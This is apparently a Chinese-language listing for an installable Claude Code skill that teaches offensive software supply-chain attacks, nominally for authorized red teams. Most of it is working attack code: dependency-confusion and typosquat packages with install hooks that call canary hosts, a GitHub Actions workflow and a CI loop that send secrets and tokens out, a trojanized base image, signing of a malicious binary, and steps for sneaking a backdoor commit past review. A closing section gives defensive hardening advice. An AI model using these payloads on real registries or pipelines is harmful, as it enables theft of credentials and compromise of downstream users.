关于 offensive-supply-chain
用于授权红队评估软件供应链的进攻性安全技能,面向安全测试人员。涵盖包解析、构建钩子、CI/CD 制品、容器镜像及防御措施。
主要功能
- 01依赖混淆评估
- 02拼写仿冒技术
- 03构建钩子分析
- 04CI/CD 制品篡改
- 05容器镜像供应链攻击
- 06检测与加固建议
适用场景
- 01审计包注册表解析行为
- 02测试构建与安装脚本
- 03评估 CI/CD 制品可信度
- 04检查容器镜像完整性
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ snailsploit/ claude-red --skill offensive-supply-chain安装后在 Claude Code 中输入/offensive-supply-chain确认已加载。
详细介绍
软件供应链攻击
软件供应链攻击利用开发者、软件包注册表、构建系统和部署流水线之间的信任关系。攻击者的目标是组织所依赖、却很少像审计自有代码那样严格审计的组件和流程。单个被攻陷的依赖项就可能传播到数千个下游使用者,使供应链成为现代软件生态系统中杠杆效应最高的攻击面。
本技能涵盖攻击生命周期:侦察内部软件包名称、利用注册表解析逻辑、滥用构建系统钩子、篡改 CI/CD 流水线,以及攻击容器镜像供应链。每种技术都对应授权红队演练模式,并采用安全的回连机制。
快速工作流
- 从目标资产(锁定文件、源映射、错误消息、GitHub 仓库)中枚举内部软件包名称。
- 识别软件包生态系统(npm、PyPI、NuGet、Maven、Go、Ruby)和注册表配置。
- 选择攻击向量:依赖混淆、仿冒相似名称、构建钩子注入、篡改 CI/CD,或容器供应链攻击。
- 准备安全的概念验证软件包,使用 DNS 金丝雀或 HTTP 回调,不包含破坏性载荷。
- 在公共注册表注册该软件包,或暂存待注入的构件。
- 监控回调,以确认目标环境中发生了执行。
- 记录攻击路径、受影响的系统和修复建议。
依赖混淆
依赖混淆利用组织同时使用私有和公共软件包注册表时的解析顺序。如果私有注册表未配置为唯一来源,软件包管理器可能会优先选择版本号更高的公共软件包,而非内部软件包。
npm 依赖混淆
当项目引用未使用作用域的私有软件包,且 .npmrc 未将注册表固定为唯一来源时,npm 会回退到公共注册表。
# Recon: extract package names from package-lock.json or yarn.lock
cat package-lock.json | jq -r '.dependencies | keys[]' | sort -u > pkg_names.txt
# Check which names are unclaimed on the public npm registry
while read pkg; do
status=$(curl -s -o /dev/null -w "%{http_code}" "https://registry.npmjs.org/$pkg")
if [ "$status" = "404" ]; then
echo "[AVAILABLE] $pkg"
fi
done < pkg_names.txt
// Malicious package.json with high version to win resolution
{
"name": "internal-utils",
"version": "99.0.0",
"scripts": {
"preinstall": "curl https://your-canary.oastify.com/npm-$(hostname)-$(whoami)"
}
}
PyPI 依赖混淆
Python 的 pip 默认从 PyPI 解析软件包。当组织使用 --extra-index-url 添加私有注册表时,pip 会同时考虑两个索引,并选择版本号最高的软件包。
# Recon: extract internal package names from requirements.txt or setup.cfg
grep -v '^#' requirements.txt | grep -v '^\s*$' | \
sed 's/[>=<].*//' | sed 's/\[.*//' | tr -d ' ' > pypi_names.txt
# Check availability on public PyPI
while read pkg; do
status=$(curl -s -o /dev/null -w "%{http_code}" "https://pypi.org/pypi/$pkg/json")
if [ "$status" = "404" ]; then
echo "[AVAILABLE] $pkg"
fi
done < pypi_names.txt
# setup.py with install hook for safe callback
from setuptools import setup
from setuptools.command.install import install
import os, socket, urllib.request
class PostInstall(install):
def run(self):
install.run(self)
hostname = socket.gethostname()
user = os.getenv("USER", "unknown")
urllib.request.urlopen(
f"https://your-canary.oastify.com/pypi-{hostname}-{user}"
)
setup(
name="internal-data-lib",
version="99.0.0",
cmdclass={"install": PostInstall},
)
NuGet 源优先级
NuGet 会从多个已配置的软件包源进行解析。如果私有源与 nuget.org 一并列出,则会选择所有软件包源中版本号最高的软件包。
<configuration>
<packageSources>
<add key="nuget.org" value="https://api.nuget.org/v3/index.json" />
<add key="internal" value="https://pkgs.corp.example.com/nuget/v3/index.json" />
</packageSources>
</configuration>
# Check NuGet public registry for unclaimed names
curl -s "https://api.nuget.org/v3-flatcontainer/corp.internal.auth/index.json" \
| jq '.versions'
# Empty or 404 means the name is available
使用 confused 自动扫描
# Install confused (Go-based dependency confusion scanner)
go install github.com/visma-prodsec/confused@latest
# Scan npm lock file for confusable packages
confused -l npm package-lock.json
# Scan Python requirements
confused -l pip requirements.txt
# Scan NuGet packages.config
confused -l nuget packages.config
仿冒相似名称攻击
仿冒相似名称利用开发者安装时输错软件包名称的情况。攻击者注册常见拼写错误、连字符/下划线变体或流行软件包复数形式差异的名称。
# Generate typosquat candidates for a target package
target="requests"
echo "${target}s"
echo "${target}1"
echo "${target}-python"
echo "python-${target}"
echo "${target/e/3}"
echo "${target}lib"
echo "${target}-utils"
# setup.py for a typosquat PoC -- safe callback only
from setuptools import setup
from setuptools.command.install import install
import urllib.request, socket
class Callback(install):
def run(self):
install.run(self)
h = socket.gethostname()
urllib.request.urlopen(f"https://canary.example.com/typo-{h}")
setup(
name="reqeusts", # common transposition typo
version="2.31.0",
description="This is a security research package.",
cmdclass={"install": Callback},
python_requires=">=3.6",
)
// package.json for npm typosquat PoC
{
"name": "loadash",
"version": "4.17.21",
"description": "Security research package - typosquat detection",
"scripts": {
"preinstall": "node -e \"require('https').get('https://canary.example.com/npm-typo-' + require('os').hostname())\""
}
}
构建系统攻击
构建系统会在编译、安装和打包过程中执行任意代码。攻击者以开发者构建或安装依赖项时隐式运行的钩子和脚本为目标。
Makefile 注入
# Injected target that runs before the default build
.PHONY: all
all: backdoor build
backdoor:
@curl -s https://canary.example.com/make-$$(hostname) > /dev/null 2>&1
build:
gcc -o app main.c
setup.py 安装钩子(Python)
# setup.py with multiple hook points
from setuptools import setup
from setuptools.command.install import install
from setuptools.command.develop import develop
from setuptools.command.egg_info import egg_info
def callback():
import urllib.request, socket
urllib.request.urlopen(
f"https://canary.example.com/setup-{socket.gethostname()}"
)
class InstallHook(install):
def run(self):
callback()
install.run(self)
class DevelopHook(develop):
def run(self):
callback()
develop.run(self)
class EggInfoHook(egg_info):
def run(self):
callback()
egg_info.run(self)
setup(
name="compromised-lib",
version="1.0.0",
cmdclass={
"install": InstallHook,
"develop": DevelopHook,
"egg_info": EggInfoHook,
},
)
npm postinstall / preinstall 脚本
{
"name": "compromised-module",
"version": "1.0.0",
"scripts": {
"preinstall": "node callback.js",
"postinstall": "node callback.js",
"prepare": "node callback.js"
}
}
// callback.js -- safe exfiltration of environment metadata
const https = require('https');
const os = require('os');
const data = JSON.stringify({
hostname: os.hostname(),
user: os.userInfo().username,
platform: os.platform(),
cwd: process.cwd(),
env_ci: process.env.CI || "false",
env_build_id: process.env.BUILD_ID || "none"
});
const req = https.request({
hostname: 'canary.example.com',
port: 443,
path: '/npm-postinstall',
method: 'POST',
headers: { 'Content-Type': 'application/json' }
}, () => {});
req.write(data);
req.end();
CI/CD 构件篡改
CI/CD 流水线会生成下游系统在默认信任下使用的构件——二进制文件、容器镜像、软件包。攻击者以构件的存储、传输和验证阶段为目标。
GitHub Actions 工作流注入
# Malicious workflow exploiting pull_request_target
name: Build
on:
pull_request_target:
types: [opened, synchronize]
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}
# Attacker-controlled code now runs with repo secrets
- run: |
curl -s -d "token=${{ secrets.DEPLOY_TOKEN }}" \
https://canary.example.com/gha-secrets
替换存储中的构件
# If artifact storage uses predictable paths or weak auth
# Replace a legitimate build artifact with a trojanized version
aws s3 cp trojanized-app.tar.gz s3://build-artifacts/releases/app-latest.tar.gz
# Verify no integrity checks exist
curl -s https://releases.example.com/app-latest.tar.gz.sha256
# 404 -- no checksum published, replacement goes undetected
提取流水线机密
# In a compromised CI job, enumerate available secrets
env | grep -iE '(token|secret|key|pass|api)' | \
while read line; do
curl -s "https://canary.example.com/ci-env?$(echo $line | base64 -w0)"
done
容器镜像供应链
容器注册表和基础镜像构成了另一条供应链。攻击者以镜像拉取解析、基础镜像完整性和注册表身份验证为目标。
在基础镜像中植入木马
# Attacker publishes a trojanized version of a common base image
FROM ubuntu:22.04
# Inject persistence into the base image
RUN apt-get update && apt-get install -y curl && \
echo '#!/bin/bash' > /usr/local/bin/entrypoint-hook.sh && \
echo 'curl -s https://canary.example.com/container-$(hostname) &' >> /usr/local/bin/entrypoint-hook.sh && \
echo 'exec "$@"' >> /usr/local/bin/entrypoint-hook.sh && \
chmod +x /usr/local/bin/entrypoint-hook.sh
ENTRYPOINT ["/usr/local/bin/entrypoint-hook.sh"]
注册表混淆
# If Dockerfile uses unqualified image names, Docker resolves from Docker Hub
# A private registry image "myapp/backend" can be shadowed
docker pull myapp/backend # resolves to docker.io/myapp/backend
# Attacker registers docker.io/myapp/backend with a trojanized image
# Targets that do not pin their registry prefix pull the attacker image
镜像标签可变性攻击
# Tags are mutable -- attacker with registry write access replaces a tag
# Target pulls "myimage:latest" or "myimage:v1.2" and gets the trojanized version
# Verify image digest before and after
docker inspect --format='{{index .RepoDigests 0}}' myimage:v1.2
# Compare against known-good digest
# sha256:abc123... vs sha256:def456... indicates tampering
滥用代码签名
代码签名可保证真实性,但签名基础设施本身也构成攻击面。
# Generate a self-signed certificate mimicking a legitimate publisher
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 \
-subj "/CN=Trusted Publisher Inc/O=Trusted Publisher/C=US" -nodes
# Sign a malicious binary (Windows Authenticode example)
osslsigncode sign -certs cert.pem -key key.pem \
-n "Legitimate Application" -i https://legitimate-publisher.com \
-in malicious.exe -out signed-malicious.exe
# Many systems check "is it signed?" but not "by whom?"
# Steal signing keys from CI/CD environment variables
# Common locations for code signing secrets
echo $SIGNING_KEY
echo $CODE_SIGN_CERT
echo $GPG_PRIVATE_KEY
cat ~/.gnupg/private-keys-v1.d/*
上游仓库遭入侵
攻陷广泛使用的依赖项的源代码仓库,就能在所有更新该依赖项的下游使用者中执行代码。
# Enumerate maintainer accounts with weak security
# Look for maintainers without 2FA, reused passwords, or abandoned emails
# Check npm package maintainers
npm view lodash maintainers
# Check GitHub commit signing
git log --show-signature -5
# Unsigned commits mean a compromised account can push without detection
# After gaining maintainer access, inject a subtle backdoor
# Modify a rarely-reviewed utility function
git checkout -b patch-perf-improvement
# Edit a deeply nested file
# Commit with a benign-looking message
git commit -m "perf: optimize string comparison for edge cases"
git push origin patch-perf-improvement
# Create a PR and merge quickly before review
检测 / 防御者视角
防御者应实施以下控制措施,以检测和防止供应链攻击:
-
注册表固定:将包管理器配置为仅使用私有注册表作为唯一来源。对于 npm,使用作用域包。对于 pip,使用
--index-url(而非--extra-index-url)。对于 NuGet,在添加源之前使用<clear />。 -
锁文件完整性:监控锁文件,检查包来源、版本或校验和是否发生意外变更。要求在拉取请求中审查锁文件。
-
构建可复现性:实施可复现构建,并在独立的构建环境之间比较制品。
-
依赖项扫描:在 CI 流水线中运行
dependency-check、npm audit、pip-audit或 Snyk,以发现已知存在漏洞和可疑的包。 -
镜像固定:通过摘要而非标签引用容器镜像。使用
image: registry.example.com/app@sha256:abc123...,而不是:latest。 -
Sigstore / cosign:验证容器镜像签名和 SBOM。监控未经签名的镜像是否进入生产环境。
-
CI/CD 加固:限制
pull_request_target触发条件,通过提交 SHA 固定操作版本,审计工作流权限,并轮换密钥。 -
内部包名预留:主动在公共注册表上注册带占位内容的内部包名,以防止他人抢注。
# Detect dependency confusion attempts with confused
confused -l npm package-lock.json 2>&1 | grep "could be"
# Monitor for unexpected outbound DNS/HTTP from build environments
# Alert on connections to unknown domains during install/build phases
# Audit npm packages for install scripts
npm pack <package> && tar -xzf *.tgz && cat package/package.json | jq '.scripts'
参与测试速查表
| 阶段 | 操作 | 风险等级 |
|---|---|---|
| 侦察 | 从锁文件中提取内部包名 | 低 |
| 侦察 | 检查公共注册表中的可用性 | 低 |
| 准备 | 注册带有 DNS canary 回连的 PoC 包 | 中 |
| 利用 | 等待目标在依赖混淆的情况下安装 / 构建 | 中 |
| 验证 | 确认收到回连,记录范围 | 低 |
| 清理 | 从公共注册表中移除 PoC 包 | 低 |
| 报告 | 记录攻击路径和修复步骤 | 低 |
安全 PoC 指南:
- 使用 DNS canary(Burp Collaborator、interactsh 或自定义工具)进行回连。
- 绝不部署破坏性载荷。仅外传主机名和用户名。
- 注册包时,注明清晰的安全研究说明。
- 在测试周期内,从公共注册表中移除所有 PoC 包。
- 在向公共注册表发布包之前,与目标方的安全团队协调。
MITRE ATT&CK 映射:
- T1195.001 -- 入侵软件依赖项和开发工具
- T1195.002 -- 入侵软件供应链
- T1059.006 -- 命令和脚本解释器:Python(setup.py 钩子)
- T1059.007 -- 命令和脚本解释器:JavaScript(npm 脚本)
关键参考资料
- Alex Birsan,“Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies”(2021)
- MITRE ATT&CK T1195 -- 供应链入侵:https://attack.mitre.org/techniques/T1195/
- confused 扫描器:https://github.com/visma-prodsec/confused
- OWASP Dependency-Check:https://owasp.org/www-project-dependency-check/
- npm 安全公告:https://github.com/advisories
- Sigstore / cosign:https://www.sigstore.dev/
- SLSA(软件制品供应链级别):https://slsa.dev/
- “Backstabber's Knife Collection” -- 恶意包学术调查(2020)
- Snyk 供应链安全研究:https://snyk.io/blog/
- GitHub 安全公告数据库:https://github.com/advisories